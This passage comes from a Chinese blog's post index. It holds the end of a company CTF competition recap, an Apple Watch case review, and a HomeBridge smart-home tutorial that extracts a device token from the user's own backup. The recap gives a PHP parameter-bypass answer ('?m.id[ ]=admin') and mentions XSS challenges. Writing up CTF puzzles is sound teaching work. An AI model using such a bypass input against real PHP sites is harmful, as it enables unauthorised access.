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從開頭可以知道這是一張圖片的base64壓縮圖,我們把以上編碼直接貼到瀏覽器網址列就能得到解答所在網址,進入網址後即可通關!4.衝出封鎖線題目說明: 這題一打開就是顯示這題的PHP程式,要想辦法用GET參數繞過判斷執行else裡面的setPassedCookie( );方法。解題:本題是一個蠻常用但卻很少人知道的PHP漏洞,詳細介紹如下:ctf中常见的PHP漏洞小结題目有稍微改過,這題的答案是:?m.id[ ]=admin5.滲透的考驗、6.滲透的考驗2這兩題都是入門的基礎XSS題目這邊就不做贅述。這題由於解答我放在前端,這邊使用了一個提供不可逆加密的JS網站: https://www.sojson.com/jsobfuscator.html(雖然我不確定是否為真?反正有辦法破解的話也就當他通過吧!)7.月光寶盒這題是從解謎APP拉出來的題目,這邊也不做展示。總結比賽系統大約花一週時間建置,題目大約花了三個月慢慢慢湊齊(要有靈感);比賽也已圓滿落幕,得到的反饋都還不錯~「有趣好玩」;這也是我的初心,希望大家以有趣為出發點去探索、腦力激盪;所以不管是題目名稱(都很電影)、題目方向,都不會有太深入工程、計算的東西,這樣就太死不有趣了!另外,這邊附上題目回答率,當做難易度參考:當初在出題的時候最怕的就是題目太簡單大家很快就解完或題目太難大家都卡關,兩種狀況都很尷尬。以上題目實際比賽結果(比賽時間:90分鐘)符合我們的期望,剛剛好!不會太難獲太簡單,第一名的組別解了9題,即使是最後一名的組別也解了7題;非常接近,但因為有時間分數、購買提示的因素,所以最後還是分得出高下! 比較意外的是通往魔法學院的大門…居然沒人解出來QQ以上就是這次舉辦工程CTF大賽的總整理Addcn 2019 CTF===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Apple Watch 保護殼開箱體驗 (Catalyst & Muvit)", "url": "/posts/a66ce3dc8bb9/", "categories": "ZRealm, Life.", "tags": "生活, 開箱, 3c, apple-watch, catalyst", "date": "2019-07-08 22:55:50 +0800", "snippet": "Apple Watch 保護殼開箱體驗 (Catalyst & Muvit)Catalyst Apple Watch 超輕薄防水保護殼 & Muvit Apple Watch 保護套[最新更新] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往 Apple Watch 原廠不鏽鋼米蘭錶帶開箱>>點我前往 感謝...", "content": "Apple Watch 保護殼開箱體驗 (Catalyst & Muvit)Catalyst Apple Watch 超輕薄防水保護殼 & Muvit Apple Watch 保護套[最新更新] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往 Apple Watch 原廠不鏽鋼米蘭錶帶開箱>>點我前往 感謝 Men’s Game 玩物誌 提供 Apple Watch Series 4 保護殼試用。身為一個神經大條的強迫症患者,在使用Apple Watch這種精緻的產品非常困擾;因手殘神經大條很容易不小心碰撞到&加上強迫症有傷痕用起來會很不爽,所以一買來就一直貼滿版保護貼防止意外發生.但其實 只貼滿版保護貼是不夠的,手錶本身是曲面,保護貼邊邊脆弱,很容易因本體邊框不小心擦到造成碎邊 :無保護殼情況下,滿版保護貼碎邊慘況目前已換第三張滿版保護貼;雖然手錶本身螢幕沒有受傷但心還是很痛,完美貼合+不影響觸控+薄+高透+不掀邊=很貴($990/張),花在保護貼的$都快夠我直升不鏽鋼版了;也因此Apple Watch 的保護殼對我來說就非常重要,可以加強本體邊框的防護,減少碰撞受傷問題.本篇會開箱兩款Apple Watch 保護殼,並針對體驗心得、機能、外型、適用場景分別做出比較,讓我們開始吧!左:Muvit保護套/右:Catalyst保護殼(含錶帶)p.s. 我的手錶型號是:Apple Watch Series 4 (GPS + 行動網路),44 公釐太空灰色鋁金屬錶殼搭配黑色運動型錶帶Catalyst Apple Watch 超輕薄防水保護殼(含錶帶)這款保護殼是有含錶帶的一體化設計,從佩戴到防撞防水的全方位保護.開箱使用:盒子正面100公尺防水/360°全方位防護/2公尺墜落防摔盒子背面IP-68防水級別,每件產品經水深一百米測試,美國軍規級碰撞保護,可直接操作屏幕,原聲通話品質,可經錶殼直接充電,可經錶殼直接偵測心跳率.IP-68 ( Wiki ):6 - 完全防塵灰塵無法進入,完全防止接觸。8 - 浸入水中超過1m。內容物除了Catalyst Apple Watch保護殼本體(裡面是模型機)並附一支小螺絲起子方便安裝.保護殼(含錶帶)本體保護殼(含錶帶)本體背面與原廠運動錶帶(L)比較(左:Catalyst/右:原廠)固定環卡榫與原廠運動錶帶(L)相比長度差不多但是開孔更密,在配戴上能調整到更適合手腕大小的長度;在固定環上有卡榫能確保激烈運動時不會脫落.安裝:我們要先將Catalyst錶殼拆解開來,再將Apple Watch機體放入後組裝回去. 首先轉開錶背螺絲2. 取下螺絲後,兩手抓著錶帶,使用姆指向外施力將錶殼本體推出.3.將所有部件拆解開來分解圖(取自 官網 )4. 將Apple Watch本體從現有運動錶帶上取下翻到背面用指甲壓上下方長方形卡榫後往左或往右推即可!5. 將Apple Watch機體放入防水套中安裝時請注意防水套要套好,不能有皺摺避免影響防水性.6.套上保護殼上殼ㄧ樣要注意不能有皺摺避免影響防水性.7.放回錶帶本體並鎖上螺絲卡回本體並鎖上螺絲( 請注意螺絲勿鎖太緊哦! )測試: 充電可直接吸附:測試結果:無問題,不影響充電速度。2. 心率:左:有裝殼/右:裸機測試結果:無問題,不影響心率檢測。3. 顯示方面:Apple Watch 4 滿版螢幕無遮蔽,沒問題✅4. Digital Crown可正常使用✅5. 收音影響:無特別差異✅6. 外觀:因本人手粗,手錶本來就買最大的44公釐版本,再套上保護殼後又更顯粗獷大器了.心得:這款錶帶在防護上真正做到了360° 全面保護並加強本身的防水功能以適應更艱困的環境。錶帶一樣採用親膚材質,戴起來與原廠運動錶帶無異,但在錶帶調整的部分由於開孔較密,能調整到更適合的大小(我戴原廠錶帶會卡在往前一格太鬆往後一個太緊的尷尬狀態)還有固定環的卡榫讓我這種強迫症患者更安心了一些!整體外觀狂野粗獷,從事戶外活動、登山、攀岩、潛水時很搭風格,也正是這款錶帶能發會最大保護功效的場景!下次記得帶墨鏡,太陽超大Catalyst 家族合照 ( AirPods保護套 )Muvit Apple Watch 保護套試用的第二款是 Muvit Apple Watch 保護套,相較於Catalyst的專業保護性,這款比較簡潔、便利,適用於各種日常生活場景;雖說如此,Muvit 依然通過美國軍規MIL-STD 810G 3米摔落測試,安全保護不馬乎!開箱使用:盒子正面兩個不同顏色保護套:左-黑色 / 右-淡紫色美國軍規MIL-STD 810G 3米摔落測試、極輕2.3G盒子背面雙層結構保護、矽膠減震層、聚碳酸酯緩衝系統、保護屏幕錶框內容物保護套本體,黑色/淡紫色安裝: 安裝方面非常簡單,ㄧ樣先將Apple Watch本體從現有運動錶帶上取下翻到背面用指甲壓上下方長方形卡榫後往左或往右推即可!2. 將Apple Watch 機體 ”面朝下” 放入保護套中3. 裝回錶帶,完成!完成:黑色款淡紫色款試戴,左:黑色/右:淡紫色測試:Digital Crown:可正常使用✅,其他項目如收音、心率、顯示…等等,此款僅為邊框保護套不受影響,就不特別測試啦!心得:使用這款保護套最滿意的地方就是,我可以方便快速依照生活場景替換對應的錶帶(西裝:皮革錶帶、日常:運動錶帶)拆裝方便,保護性方面足夠應付所有日常場景(做家事、打掃、搬東西)目前日常生活都是使用這款保護套。與皮製錶帶搭配心得總結:從收到試用到撰文完間隔了超過4個月,期間經歷了搬家(Sorry…本篇圖場景凌亂)、參加鐵人兩項(10KM跑步+40KM單車)、馬來西亞潛水;這兩款保護套跟著往上山下海跑跑跳跳,目前滿版保護貼依然完美無缺!還記得我換了幾張保護貼嗎?答案是3張/3個月,平均貼不到一個月就會不知道怎麼的受傷碎邊,一張要$990阿 Orz 只能說相見恨晚,早知道有保護套這種產品就不用多花冤望錢!不論是Catalyst或是Muvit都解決了我貼保護貼一直碎邊的痛點,如果你沒貼保護貼那就更該買個保護套保護螢幕邊角,不然螢幕玻璃碎裂心會更痛選擇方面的建議是,如果你時常從事激烈運動(攀岩、潛水)、勞力工作,建議選用Catalyst,較能放心;如果只是一般上班族、偶爾運動跑跑步、喜歡依照心情換錶帶,那使用 Muvit 就足夠囉!以下整一個簡單的比較表供大家參考:選購: CATALYST FOR APPLE WATCH SERIES 4 44mm超輕薄防水保護殼 MUVIT Apple Watch Series4 (44mm) 耐衝擊保護殼閒聊:從 第一篇完整的開箱 到 使用三個月後 ,算一算手上的 Apple Watch S4 已經戴快一年了;使用上已無太大的變化,第三方APP依然很少,最常用的功能依然是Apple Pay、解鎖MAC、看通知,Apple Watch已然融入到我的日常生活之中,習慣了它的便利. by the way 讓我們一起期待 Watch OS 6 吧 :)這半年更勤於發揮Apple Watch的運動功能,記錄跑步、自行車的時間、路線、心跳,除了紀錄之外;獎章讓你運動更有目標及成就感、與朋友競賽運動量或分享成果到社群都讓運動變成是有趣的事,這樣才更容易保持!獎章,競賽,運動路線,運動狀況 本篇感謝 Men’s Game 玩物誌 提供 Apple Watch Series 4 保護殼試用。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "智慧家居初體驗 - Apple HomeKit & 小米米家", "url": "/posts/c3150cdc85dd/", "categories": "ZRealm, Life.", "tags": "生活, 開箱, 3c, 米家, homekit", "date": "2019-07-06 01:13:47 +0800", "snippet": "智慧家居初體驗 - Apple HomeKit & 小米米家米家智慧攝影機及米家智慧檯燈、Homekit設定教學[2020/04/20] 進階篇已發 : 有經驗的朋友請直接左轉前往>> 示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit雜談:最近剛搬完家;有別於原本住的地方,天花板是辦公室輕鋼架燈,亮到要拔掉幾根燈管眼睛才比較舒適;現在住的地...", "content": "智慧家居初體驗 - Apple HomeKit & 小米米家米家智慧攝影機及米家智慧檯燈、Homekit設定教學[2020/04/20] 進階篇已發 : 有經驗的朋友請直接左轉前往>> 示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit雜談:最近剛搬完家;有別於原本住的地方,天花板是辦公室輕鋼架燈,亮到要拔掉幾根燈管眼睛才比較舒適;現在住的地方則是裝潢反射燈,使用電腦、看書亮度稍嫌不足,兩週下來眼睛覺得更容易乾澀不舒服;本想直接去IKEA採購,但考量到光色、護眼,最後比較一下CP值,於是還是選擇了小米檯燈(加上之前已有買小米智慧攝影機,都是米家系列產品)。本篇:其實我在選購時並沒有特別注意是否支援Apple HomeKit,身為一個iOS 開發者實在太失格了,因為我壓跟沒想到小米會支援.所以本篇會分別介紹 Apple HomeKit 使用 、 不支援Apple HomeKit的智慧家居怎麼使用第三方串接HomeKit? 及 使用米家本身搭建智慧家庭的方法(搭配IFTTT)大家可以根據自己的裝置需求跳著看。採買:我一共買了兩盞檯燈,一盞(Pro)放電腦桌工作用、另一盞放床頭當閱讀燈。米家檯燈 Pro :NT$ 1,795 支援米家、Apple HomeKit米家 LED 智慧檯燈 :NT$ 995 僅支援米家詳細介紹可參考官網,兩盞都支援智慧控制、變色、調亮度、護眼,Pro版支援Apple HomeKit、三段角度調整;目前使用下來,以一盞燈的功能來說已經相當滿意,硬要挑一個缺點的話就是Pro版的角度調整只有底座能水平轉,燈不行,這樣就不能調整光線的角度了!理想的智慧家居目標:目前有的裝置: 米家智慧攝影機雲台版 1080P (支援:米家) 米家檯燈 Pro (支援:Apple HomeKit、米家) 米家 LED 智慧檯燈 (支援:米家)理想目標:回到家時: 自動關閉攝影機(為了隱私及防止誤觸看家警報,米家APP有BUG看家警報無法照設定時間開啟關閉)、打開電腦桌的Pro燈(不想摸黑)離家時: 自動打開攝影機(預設啟用看家)、關閉所有燈具本篇最終達成:離家、回家時發推播提醒,手機按一下觸發操作(已現有裝置沒辦法達到理想的自動化目標)智慧家居設定之路:Apple HomeKit 使用*僅限米家檯燈 Pro!米家檯燈 Pro!米家檯燈 Pro!這是最簡單的一部分,因為都是原生功能。只需四步驟 找到家庭APP(如沒有請到App Store搜尋「家庭」安裝) 打開家庭APP 點擊右上角「+」加入配近 掃描Pro檯燈底部HomeKit QRCode加入配件即可!加入配件成功後,在配件上重壓(3D TOUCH)/長壓,即可調整亮度、顏色。那不 支援Apple HomeKit的智慧家居怎麼使用第三方串接HomeKit?除了以上本身就支援的智慧裝置,那不支援Apple HomeKit的裝置是不是就完全無法透過家庭控制呢了?本章節手把手教你將不支援的裝置(攝影機、一般版檯燈)也加入到「家庭」中! Mac ONLY,WIN使用者請直接跳到使用米家的章節 我的裝置是MacOS 10.14/iOS 12使用 HomeBridge :HomeBridge透過使用Mac電腦作為橋接器,將不支援的裝置模擬成HomeKit設備,就可以加入到「家庭」的配件之中.運作比較可以看到一個重點就是 你要有一台Mac電腦保持開機狀態,才能保持橋接通道順暢 ;一但電腦關機、休眠,就無法控制那些HomeKit裝置。當然網路上也有神人做法,自行買一塊樹莓派來玩,將樹莓派當成橋接器;但這涉及到太多技術,本篇不會介紹。知道缺點後如果還想玩玩,可以繼續往下看或是跳到下一個直接使用米家的章節。第一步:安裝 node.js : 點我 下載 ,安裝即可第二步:打開「終端機」輸入sudo npm -v查看node.js npm套件管理工具是否安裝成功:顯示出版本號即表示成功!第三步:透過 npm 安裝 HomeBridge套件:sudo npm -g install homebridge --unsafe-perm等待安裝完成後…HomeBridge工具就算裝完了!前面有提到 “HomeBridge就是透過使用Mac電腦作為橋接器,將不支援的裝置模擬成HomeKit設備”, 實際上HomeBridge只是一個平台,各裝置要加入要再另外找HomeBridge的外掛資源 。很好找,只要google或在github 搜尋「mija 產品英文名 homebridge」就會有許多資源;這邊介紹兩個我在用的裝置的資源:1.米家攝影機雲臺版資源: MijiaCamera攝影機是比較棘手的裝置,花了些時間研究並整理了一下;希望有幫助到有需要的人!首先ㄧ樣用「終端機」下命令安裝這MijiaCamera這個npm套件sudo npm install -g homebridge-mijia-camera安裝完成後,我們需要取得攝影機的網路 IP位址 跟 Token 兩個資訊打開米家APP → 攝影機 → 右上角「…」→設定→網路訊息,得到 IP位址 !Token 資訊就比較麻煩了,需要你將手機連接到Mac上:打開 Itunes 介面選備份 不要勾替本機備份加密 ,點「立即備份」備份完成後, 下載 安裝備份查看軟體: iBackupViewer打開「iBackupViewer」,初次啟動會要你去 Mac「系統偏好設定」- 「安全性與隱私權」-「隱私權」-「+」- 加入「iBackupViewer」*如有隱私顧慮可關閉網路使用這套軟體、並在使用後移除再次打開「iBackupViewer」成功讀取到備份檔後,點擊右上角切換到「Tree View」模式左側會顯示你所有安裝的APP,找到米家的APP「AppDomain-com.xiaomi.mihome」->「Documents」在右側文件列表中找到並選擇 「 數字_mihome.sqlite」 這個檔案點擊右上角「Export」匯出 ->「Selected」將剛剛匯出的sqlite檔案丟到 https://inloop.github.io/sqlite-viewer/ 查看內容可以看到所有米家APP上的裝置資訊欄位,向右滾動到尾端,找到 ZTOKEN 欄位,雙擊編輯全選複製最後再打開 http://aes.online-domain-tools.com/ 網站將 ZTOKEN 轉成最終 Token1.將剛剛複製出來的 ZTOKEN貼在「Input Text」,選「Hex」2.Key輸入「00000000000000000000000000000000」32個0,ㄧ樣選「Hex」3.然後按下「Decrypt!」轉換4.全選複製右下角藍匡&去掉空格後就是我們要的結果 Token Token 這邊有嘗試用「miio」直接嗅探的方式,但好像是米家攝影機韌體有更新過,已無法用這個方法快速方便得到Token了!回到HomeBridge!編輯設定檔 config.json使用「Finder」->「前往」->「前往檔案夾」-> 輸入「~/.homebridge」前往使用文字編輯器打開「config.json」,若沒有此檔案請自行建立一個或 點此下載 直接放進去{ \"bridge\":{ \"name\":\"Homebridge\", \"username\":\"CC:22:3D:E3:CE:30\", \"port\":51826, \"pin\":\"123-45-568\" }, \"accessories\":[ { \"accessory\":\"MijiaCamera\", \"name\":\"Mi Camera\", \"ip\":\"\", \"token\":\"\" } ]}在config.json裡加入以上內容,IP 及 Token部分帶入上面取得的資訊。這時候再次回到「終端機」下以下命令啟動 HomeBridgesudo homebridge start如果已啟動之後又更改了config.json內容的話可以改下:sudo homebridge restart重新啟動這時會出現HomeKit QRCode 讓您掃描加入配件(步驟如上面提到的,Apple HomeKit裝置加入方式)下方也會有狀態訊息:[2019–7–4 23:45:03] [Mi Camera] connecting to camera at 192.168.0.100…[2019–7–4 23:45:03] [Mi Camera] current power state: off有出現這些&沒出現錯誤error訊息即表示設定成功!一般常見的錯誤都是Token有錯,確認一下上面流程有無遺漏即可。現在你就可以從「家庭」APP中開關米家智慧攝影機囉!2.米家 LED 智慧檯燈 HomeBridge 資源: homebridge-yeelight-wifi再來是米家 LED 智慧檯燈,由於不像Pro版有支援Apple HomeKit,所以我們還是要用HomeBridge的方法來加入;雖然步驟 不需經過繁瑣流程取得IP、Token ,相對攝影機來說較簡單,但檯燈有檯燈的坑,要用另一個YeeLight APP配對後將區域網路控制設定打開:這點不得不吐槽一下這個糟糕的整合性,原生米家APP是無法做這項設定的;所以請到APP Store搜尋「 Yeelight 」APP 下載&安裝開啟APP -> 直接使用米家帳號登入 -> 增加裝置 -> 米家檯燈 -> 照指示將檯燈改綁定到 Yeelight APP裝置綁定完成後回到「裝置」頁 -> 點「米家檯燈」進入 -> 點右下角「△」Tab -> 點「局域網控制」進入設定 -> 打開按鈕允許局域網(區域網路)控制檯燈的設置到這裡即可,你可以保留這個APP控制檯燈或再重新綁定回米家.再來是HomeBridge設定;ㄧ樣先打開「終端機」下命令安裝 homebridge-yeelight-wifi npm套件sudo npm install -g homebridge-yeelight-wifi安裝完成後同上攝影機的步驟,前往 ~/.homebridge 資料夾,建立或編輯修改 config.json,這次只需要在最後一個}裡面加上\"platforms\": [ { \"platform\" : \"yeelight\", \"name\" : \"yeelight\" } ]即可!最後結合上述攝影機的 config.json檔如下:{\t\"bridge\": {\t\t\"name\": \"Homebridge\",\t\t\"username\": \"CC:22:3D:E3:CE:30\",\t\t\"port\": 51826,\t\t\"pin\": \"123-45-568\"\t},\t\"accessories\": [\t\t{\t\t\t\"accessory\": 